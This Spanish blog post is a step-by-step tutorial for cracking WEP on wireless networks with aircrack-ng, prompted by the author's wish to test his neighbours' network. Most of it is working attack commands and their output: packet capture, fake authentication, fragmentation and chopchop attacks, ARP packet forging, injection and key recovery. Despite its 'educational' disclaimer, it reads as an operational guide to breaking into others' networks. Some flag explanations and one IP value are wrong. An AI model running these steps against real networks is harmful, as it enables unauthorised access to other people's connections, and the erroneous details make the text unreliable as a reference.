Como crackear la seguridad WEP de una red inalambrica.

Publicado por berna en el blog El blog de berna. Vistas: 196

Pues si, despues de un tiempo de saber que mis vecinos tenian internet wireless pero protegido con WEP, un dia me decidi a ver que tan seguro era.

hay muchas paginas en internet cuando escribes en google "hack wep" y muchas de ellas dicen que lo logras en minutos, pero con mi experiencia en ello se que no es algo tan sencillo como para hacerlo en 10 mins como dicen esas paginas.


Antes que nada esto que les voy a enseñar es con fines educativos para que sepan los riesgos que tienen utilizar WEP en una red wireless, recomiendo que primero lo prueben sobre su propio AP.

Primero... las herramientas basicas:

un Adaptador Wireless compatible con modo monitor
un AP activo

Aircrack (la guia esta basada en la v0.9)
* Windows > http://download.aircrack-ng.org/aircrack-ng-0.9-win.zip
* Linux > http://download.aircrack-ng.org/aircrack-ng-0.9.tar.gz (recomiendo la instalacion automatica en vez de la manual)

Kismet o Netstumbler o Airodump o cualquier software que te permita conocer la MAC Adress el Channel y el SSID de la red. (recomiendo utilizar el airodump incluido en el aircrack para evitar instalar mas programas)

Windows -> Airpcap & Winpcap
WinpCap > http://www.winpcap.org/
Airpcap > http://www.cacetech.com/bin/setup_airpcap_2_0.exe
Linux -> Drivers Patches http://patches.aircrack-ng.org/

Antes que nada hay que ver el chipset de tu adaptador inalambrico, el chipset que utilize determinara que OS tendras que trabajar
[​IMG]

en esa tabla se pueden ver una lista de los diferentes chipsets, compara el chipset con el de tu adaptador, o si aun no tienes uno y te interesa probar esto, ten encuenta esta lista al comprarlo, recomendaria que sea una que sea compatible con aireplay (para injection).

como veran casi ninguno de los chipsets mostrados son compatibles con windows, si tienes suerte de tener uno compatible con windows, puedes utilizar el GUI que viene con la suite de windows y el trabajo te lo hace practicamente solo, pero como en la mayoria de los casos no tenemos tanta suerte para tener esos chipsets...

Asi que esta guia va a ser orientada utilizando Linux, yo mismo solo he utilizado linux por unos cuantos dias, que fue lo que me tomo aprender lo suficiente para poder hacer esto y la verdad linux me ha dejado sorprendido, en mi caso utilize Ubuntu 7.04 Feisty Fawn que es una version bastante amigable para el usuario final.

Primero es instalar el aircrack.

aircrack se puede instalar de la manera automatica o de la manera manual, pero para instalarlo de la manera automatica se requiere que tengas accesso a internet en la computadora con linux.

pero antes que nada necesitas unos paquetes para construccion... los cuales se instalan (teniendo acceso a internet o algun cd de linux)

en Terminal o Consola (el nombre varia dependiendo de la distro, es la ventana que se parece a la de CMD en windows)
Código:
sudo apt-get install build-essentials
Ahora para instalar automaticamente el aircrack...
Código:
sudo apt-get install aircrack
ahora digamos que en vez de instalarlo automaticamente, decides descargar el tarball de la pagina de http://www.aircrack-ng.org/ y lo instalas manualmente seria de la siguiente manera.

si el archivo esta dentro de un tarball, comprimido o no... primero lo extraes..
Código:
tar -zxvf archivo.tar.gz 
ahora logeas como root
Código:
su
despues estando dentro del directorio donde extraiste los archivos... (es igual que en windows... solo usa "CD nombredeldirectorio" para cambiar de directorios)
Código:
Make
esto checara que todas las librerias y la integridad del archivo, en caso de haber un problema te marcara error, esto puede ser que falte alguna libreria (instalaste build-essentials verdad?) o algun archivo este faltante.
Código:
Make Install
este comando instala el programa.



Suponemos que apartir de este punto, tu ya cuentas con un adaptador compatible en linux y preferentemente que tambien sea compatible con injection (aireplay), y que tengas instalado.

Ahora si tu adaptador es compatible con injection (aireplay), te recomendaria que instales los patches para tus drivers, debido a que la instalacion de los drivers te recomiendo que visites http://www.aircrack-ng.org/doku.php?id=install_drivers para saber el procedimiento adecuado para instalar tus drivers.

Bueno ahora toca conseguir la informacion sobre la red, la MAC Adress el channel y demas informacion, para esto voy a explicarlo con las mismas herramientas que incluye el airecrack, esta herramienta es el airodump-ng.

Abres una terminal o consola (de aqui en adelante le llamare terminal, si en tu distro se llama diferente, acostumbrate).

Se requiere privilegios de root para correr cualquiera de estos programas (esto es debido a que con ellos inclusive se puede derribar algunas redes por eso solo el administrador del equipo deberia que utilizar esta herramienta pero es posible instalarlo para que cualquier usuario aun sin privilegios de admin la use).
Código:
su

iwconfig
el iwconfig es para reconocer el nombre de tu interfaz wireless en mi caso es ra0 (Ralink device 0, si tuviera otro adaptador ralink seria ra1... etc)

ahora en terminal utilizas
Código:
airodump-ng start ra0
donde ra0 es el nombre de tu interfaz de wireless.

una ventana como esta aparecera

[​IMG]

aqui obtendremos la informacion que requerimos para trabajar.

en la parte superior izquierda estan los BSSID de los AP, estan son las MAC adresss de el AP , lo siguiente que necesitamos es el Channel, que esta bajo del CH... otro es el ESSID, que es el nombre de la red. y claro elegir una que sea con encriptacion WEP.

una vez con estos datos se puede empezar a crackear la red wireless con wep.

el metodo mas sencillo es cuando hay clientes activos (hay actividad en la red).

Primero hay que poner en modo monitor a nuestro adaptador, esto hace que tu adaptador "escuche" las transferencias entre otros clientes y los AP.

hay dos formas de hacerlo, dentro de una terminal:

Código:
iwconfig ra0 mode monitor (requiere privilegios  de root)
o

Código:
airmon-ng start ra0 1
en la segunda opcion veran que hay un 1. este es opcional, es para filtrar especificamente en algun canal para evitar escuchar transferencias de otros canales.

Un detalle importante... hay que deshabilitar/detener o desintalar cualquier Network Manager si se encuentre instalado... estos suelen causa r problemas porque cada cierto tiempo intentan conectarse automaticamente al AP, cambiando el modo de tu dispositivo a Managed.. el cual no sirve para capturar señales....


ahora hay que seleccionar alguna de las redes con AP.... me imagino que estan trabajando bajo su propia AP no?....

bueno ahora que tenemos los datos podemos hacer que el airodump filtre unicamente lo que nos interesa..

para esto se pone dentro de una terminal

Código:
airodump-ng -c 11 --bssid 00:01:02:03:04:05 -w archivo ra0
donde -c es el canal en que trabaja
el bssid es el que obtuvimos anteriormente.
el -w es para capturar en un archivo todo lo registrado
y ra0 la interfaz de red wifi

Primero hay que determinar que haiga clientes... en la imagen anterior del airodump en la parte inferior se muestran los clientes de que mac adress se estan asociados a cual mac adress.

debe que haber clientes en la red y que esten activos para hacer trabajar este metodo.

si en la red hay actividad (digamos se estan visitando paginas web, o bajando archivos o cualquier actividad de internet desde el AP)

el campo de # data debe incrementarse, si este campo aumenta, solo te queda esperar hasta tener digamos unos 60,000 # data, esto puede demorar, dependiendo que tanta actividad haiga en la red... puede tomar inclusive horas asi que hay que tener paciencia, se puede acelerar este proceso atravez de injection.


ahora teniendo en cuenta que tienes una cantidad suficiente de IVs ( aproximdamente 1 # data = 1 ivs )

dentro de una terminal

Código:
aircrack-ng -b 00:01:02:03:04:05 archivo-01.cap
entonces aqui es donde empieza el crackeo de la clave, si se introdujeron una cantidad baja de IVs el proceso puede demorar muchisimo, dias, semanas, asi que mientras mas IVs captures mas rapido es el crackeo...
.. todo depende de cuantos de esos IVs sean del tipo weak... en algunos casos aun con pocos IVs weaks se puede crackear rapidamente.

Código:
                                              Aircrack-ng 0.9
 
                              [00:01:18] Tested 0/140000 keys (got 30680 IVs)
 
 KB    depth   byte(vote)
  0    0/  1   12( 170) 35( 152) AA( 146) 17( 145) 86( 143) F0( 143) AE( 142) C5( 142) D4( 142) 50( 140) 
  1    0/  1   34( 163) BB( 160) CF( 147) 59( 146) 39( 143) 47( 142) 42( 139) 3D( 137) 7F( 137) 18( 136) 
  2    0/  1   56( 162) E9( 147) 1E( 146) 32( 146) 6E( 145) 79( 143) E7( 142) EB( 142) 75( 141) 31( 140) 
  3    0/  1   78( 158) 13( 156) 01( 152) 5F( 151) 28( 149) 59( 145) FC( 145) 7E( 143) 76( 142) 92( 142) 
  4    0/  1   90( 183) 8B( 156) D7( 148) E0( 146) 18( 145) 33( 145) 96( 144) 2B( 143) 88( 143) 41( 141) 
 
                       KEY FOUND! [ 12:34:56:78:90 ] 
      Decrypted correctly: 100%


Ahora en caso de que no haiga clientes asociados (y obviamente el data no aumente) se requeria hacer un injection. que es reenviar paquetes para producir trafico en la red y generar # data....

Hackeando cuando no hay clientes conectados:

para este punto supongo que tu ya tienes instalado el aircrack y algo de conocimiento basico sobre redes wireless y estas utilizando un adaptador inalambrico con soporte de injection en aireplay y has instalado sus drivers/patches.

(tu adaptador debe de estar en modo monitor para realizar cualquiera de los siguientes pasos)

Primero se tendra que realizar una Fake Authentication, medio por el cual le haras una connecion con el AP independientemente si tiene seguridad o no.
Código:
aireplay-ng -1 0 -e 2WIRE -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ra0
el aireplay es el programa utilizado para esta funcion... donde
-1 indica que es un fake auth
0 indica el tiempo en segundos de para reauth
-e indica el nombre de la red wireless
-a es la MAC del AP
-h es la MAC de tu adaptador.
ra0 es la interfaz de tu adaptador (en mi caso ra0 por Ralink device 0)

debe que mostrar un mensaje como el siguiente si es existoso
Código:
18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)
si tienen problemas porque la señal sea debil y no logres asociarte... intenta reduciendo el TX Rate de tu dispositivo con
Código:
iwconfig <interfaz> rate 1M
ahora habran una nueva terminal para ejecutar el airodump para confirmar que realmente estes asociado con el ap.
Código:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w capture ra0
Donde:
-c 9 indica el canal de la red... en este caso el 9
--bssid filtra por el MAC del AP
-w es para guardar todo lo proesado en el archivo "capture"
ra0 nuevamente la interfaz

en la parte inferior debera mostrarse tu MAC y la MAC del AP asociada.
en caso de no aparecer asociada cambien el campo del 0 (reauth) en el aireplay por algun valor digamos 60 y intenten de nuevo.

Una vez asociado y capturando informacion... procederemos a realizar dos tipos diferentes de ataques para conseguir paquetes ARP... uno es el fragmentation attack y el otro es el Chop Chop... en mi experiencia personal es mas efectivo el el fragmentation pero esto puede variar de AP a AP.

el Fragmentation Attack...
Código:
 aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ra0
Donde

-5 indica que es un fragmentation attack
-b Es el MAC del AP
-h es el MAC de tu adaptador
ra0 es la interfaz

Código:
 aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0                 
 Waiting for a data packet...
 Read 127 packets...
         
         Size: 114, FromDS: 1, ToDS: 0 (WEP)
         
         BSSID  =  00:14:6C:7E:40:80
         Dest. MAC  =  01:00:5E:00:00:FB
         Source MAC  =  00:40:F4:77:E5:C9
         
         0x0000:  0842 0000 0100 5e00 00fb 0014 6c7e 4080  .B....^.....l~@.
         0x0010:  0040 f477 e5c9 6052 8c00 0000 3073 d265  .@.w..`R....0s.e
         0x0020:  c402 790b 2293 c7d5 89c5 4136 7283 29df  ..y.".....A6r.).
         0x0030:  4e9e 5e13 5f43 4ff5 1b37 3ff9 4da4 c03b  N.^._CO..7?.M..;
         0x0040:  8244 5882 d5cc 7a1f 2b9b 3ef0 ee0f 4fb5  .DX...z.+.>...O.
         0x0050:  4563 906d 0d90 88c4 5532 a602 a8ea f8e2  Ec.m....U2......
         0x0060:  c531 e214 2b28 fc19 b9a8 226d 9c71 6ab1  .1..+(...."m.qj.
         0x0070:  9c9f                                     ..
         
         Use this packet ? y
un texto similar debera de aparecer en tu pantalla... escribes y (yes) para probar ese paquete...

si tienes suerte puede que al primer paquete que pruebes... sea util para generar ARP packets... si no prueba con varios paquetes hasta que alguno de positivo.

Si es positivo debe que salir una ventana como la siguiente:

Código:
Saving chosen packet in replay_src-0203-180328.cap
 Data packet found!
 Sending fragmented packet
 Got RELAYED packet!!
 Thats our ARP packet!
 Trying to get 384 bytes of a keystream
 Got RELAYED packet!!
 Thats our ARP packet!
 Trying to get 1500 bytes of a keystream
 Got RELAYED packet!!
 Thats our ARP packet!
 Saving keystream in fragment-0203-180343.xor
 Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
Ahora para el Chop Chop
Código:
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ra0
Donde

-a indica el chop chop
-h es tu mac del AP
-b es la mac de tu adaptador
ra0 la interfaz
Código:
  Read 165 packets...

         Size: 86, FromDS: 1, ToDS: 0 (WEP)
 
         BSSID  =  00:14:6C:7E:40:80
         Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  00:40:F4:77:E5:C9
 
         0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
         0x0010:  0040 f477 e5c9 603a d600 0000 5fed a222  .@.w..`:...._.."
         0x0020:  e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543  ...H......._=..C
         0x0030:  d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873  ....j.....%.[.(s
         0x0040:  16d4 43fb aebb 3ea1 7101 729e 65ca 6905  ..C...>.q.r.e.i.
         0x0050:  cfeb 4a72 be46                           ..Jr.F

 Use this packet ? y
Código:
Saving chosen packet in replay_src-0201-191639.cap
 
 Offset   85 ( 0% done) | xor = D3 | pt = 95 |  253 frames written in   760ms
 Offset   84 ( 1% done) | xor = EB | pt = 55 |  166 frames written in   498ms
 Offset   83 ( 3% done) | xor = 47 | pt = 35 |  215 frames written in   645ms
 Offset   82 ( 5% done) | xor = 07 | pt = 4D |  161 frames written in   483ms
 Offset   81 ( 7% done) | xor = EB | pt = 00 |   12 frames written in    36ms
 Offset   80 ( 9% done) | xor = CF | pt = 00 |  152 frames written in   456ms
 Offset   79 (11% done) | xor = 05 | pt = 00 |   29 frames written in    87ms
 Offset   78 (13% done) | xor = 69 | pt = 00 |  151 frames written in   454ms
 Offset   77 (15% done) | xor = CA | pt = 00 |   24 frames written in    71ms
 Offset   76 (17% done) | xor = 65 | pt = 00 |  129 frames written in   387ms
 Offset   75 (19% done) | xor = 9E | pt = 00 |   36 frames written in   108ms
 Offset   74 (21% done) | xor = 72 | pt = 00 |   39 frames written in   117ms
 Offset   73 (23% done) | xor = 01 | pt = 00 |  146 frames written in   438ms
 Offset   72 (25% done) | xor = 71 | pt = 00 |   83 frames written in   249ms
 Offset   71 (26% done) | xor = A1 | pt = 00 |   43 frames written in   129ms
 Offset   70 (28% done) | xor = 3E | pt = 00 |   98 frames written in   294ms
 Offset   69 (30% done) | xor = BB | pt = 00 |  129 frames written in   387ms
 Offset   68 (32% done) | xor = AE | pt = 00 |  248 frames written in   744ms
 Offset   67 (34% done) | xor = FB | pt = 00 |  105 frames written in   315ms
 Offset   66 (36% done) | xor = 43 | pt = 00 |  101 frames written in   303ms
 Offset   65 (38% done) | xor = D4 | pt = 00 |  158 frames written in   474ms
 Offset   64 (40% done) | xor = 16 | pt = 00 |  197 frames written in   591ms
 Offset   63 (42% done) | xor = 7F | pt = 0C |   72 frames written in   217ms
 Offset   62 (44% done) | xor = 1F | pt = 37 |  166 frames written in   497ms
 Offset   61 (46% done) | xor = 5C | pt = A8 |  119 frames written in   357ms
 Offset   60 (48% done) | xor = 9B | pt = C0 |  229 frames written in   687ms
 Offset   59 (50% done) | xor = 91 | pt = 00 |  113 frames written in   339ms
 Offset   58 (51% done) | xor = 25 | pt = 00 |  184 frames written in   552ms
 Offset   57 (53% done) | xor = 94 | pt = 00 |   33 frames written in    99ms
 Offset   56 (55% done) | xor = F3 | pt = 00 |  193 frames written in   579ms
 Offset   55 (57% done) | xor = D6 | pt = 00 |   17 frames written in    51ms
 Offset   54 (59% done) | xor = FA | pt = 00 |   81 frames written in   243ms
 Offset   53 (61% done) | xor = EA | pt = 01 |   95 frames written in   285ms
 Offset   52 (63% done) | xor = 5D | pt = 37 |   24 frames written in    72ms
 Offset   51 (65% done) | xor = 33 | pt = A8 |   20 frames written in    59ms
 Offset   50 (67% done) | xor = CC | pt = C0 |   97 frames written in   291ms
 Offset   49 (69% done) | xor = 03 | pt = C9 |  188 frames written in   566ms
 Offset   48 (71% done) | xor = 34 | pt = E5 |   48 frames written in   142ms
 Offset   47 (73% done) | xor = 34 | pt = 77 |   64 frames written in   192ms
 Offset   46 (75% done) | xor = 51 | pt = F4 |  253 frames written in   759ms
 Offset   45 (76% done) | xor = 98 | pt = 40 |  109 frames written in   327ms
 Offset   44 (78% done) | xor = 3D | pt = 00 |  242 frames written in   726ms
 Offset   43 (80% done) | xor = 5E | pt = 01 |  194 frames written in   583ms
 Offset   42 (82% done) | xor = AF | pt = 00 |   99 frames written in   296ms
 Offset   41 (84% done) | xor = C4 | pt = 04 |  164 frames written in   492ms
 Offset   40 (86% done) | xor = CE | pt = 06 |   69 frames written in   207ms
 Offset   39 (88% done) | xor = 9D | pt = 00 |  137 frames written in   411ms
 Offset   38 (90% done) | xor = FD | pt = 08 |  229 frames written in   688ms
 Offset   37 (92% done) | xor = 13 | pt = 01 |  232 frames written in   695ms
 Offset   36 (94% done) | xor = 83 | pt = 00 |   19 frames written in    58ms
 Offset   35 (96% done) | xor = 4E | pt = 06 |  230 frames written in   689ms
 Sent 957 packets, current guess: B9...
 
 The AP appears to drop packets shorter than 35 bytes.
 Enabling standard workaround: ARP header re-creation.
 
 Saving plaintext in replay_dec-0201-191706.cap
 Saving keystream in replay_dec-0201-191706.xor
 
 Completed in 21s (2.29 bytes/s)
Independientemente de cual fuese el metodo utilizado se procedera a producir el paquete ARP.
Código:
 packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0203-180343.xor -w arp-request
donde

-0 indica que se va a generar un paquete ARP
-a es la MAC del AP
-h es la MAC del adaptador
-k y -l son las ip de destino e inicio, practicamente cualquiera responde a 255.255.255.255
-y es para indicar el archivo .xor
-w es para generar el archivo de salida "arp-request"

Código:
 Wrote packet to: arp-request

Ahora que ya tenemos todo lo necesario iniciaremos el proceso de injection.
Código:
aireplay-ng -2 -r arp-request ra0
Donde

-2 indica que se utilizara una seleccion interactiva de frames.
-r indica el archivo generado por el packetforge
ra0 nuevamente la interfaz

Código:
  Size: 68, FromDS: 0, ToDS: 1 (WEP)
      
           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:09:5B:EC:EE:F2
      
      0x0000:  0841 0201 0014 6c7e 4080 0009 5bec eef2  .A....l~@...[...
      0x0010:  ffff ffff ffff 8001 8f00 0000 7af3 8be4  ............z...
      0x0020:  c587 b696 9bf0 c30d 9cd9 c871 0f5a 38c5  ...........q.Z8.
      0x0030:  f286 fdb3 55ee 113e da14 fb19 17cc 0b5e  ....U..>.......^
      0x0040:  6ada 92f2                                j...
      
      Use this packet ? y
Ahora veras el proceso de injection y de cuantos pps se esta realizando... (pps = paquetes por segundo)


ahora regresen a la terminal del airodump... y se vera que el # data se incrementa...
Código:
 CH  9 ][ Elapsed: 16 s ][ 2007-02-04 11:04 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   47 100      179     2689  336   9  11  WEP  WEP         teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:09:5B:EC:EE:F2   29     0     2707           

Bueno este provee de ciertas ventajas al utilizar paquetes ARP.... esto permite utilizar el PWT del aircrack para poder romper la clave mucho mas rapido que en el metodo convencional y ademas no requieres de capturar una gran cantidad de IVs... con capturar unos 60,000 es suficiente para romper cualquier WEP de 64/104/128 bits.
Código:
aircrack-ng -z -b 00:14:6C:7E:40:80 archivo*.cap                   

Listo en unos cuantos segundos/minutos debes que contar con tu clave wep.


La primera vez realizando todo esto puede costar trabajo y bastante tiempo... pero ya despues de su primer crackeada, la segunda es facil y rapida...

Mi primer intento para crackear una WEP me tomo alrededor de 3 dias ( entre aprendia a instalar linux y utilizar los comandos basicos en terminales y los procedimientos de instalacion de tarballs, patches y drivers... hasta la utilizacion del aircrack)

Mi segundo intento.... demoro tan solo unos 15 minutos para crackear la wep... (ambos intentos requerian injection debido a que no habia clientes conectados o el trafico era tan lento que tomaria demasiado esperar)

Repito esto es unicamente con fines educativos y aprender a no utilizar la seguridad WEP ya que esta quedo obsoleta hace 4 años (2003) debido a su inseguridad.


continuara (como cambiar la MAC en caso de que el AP tenga activado el filtrado por MAC).
Necesitas tener sesión iniciada para dejar un comentario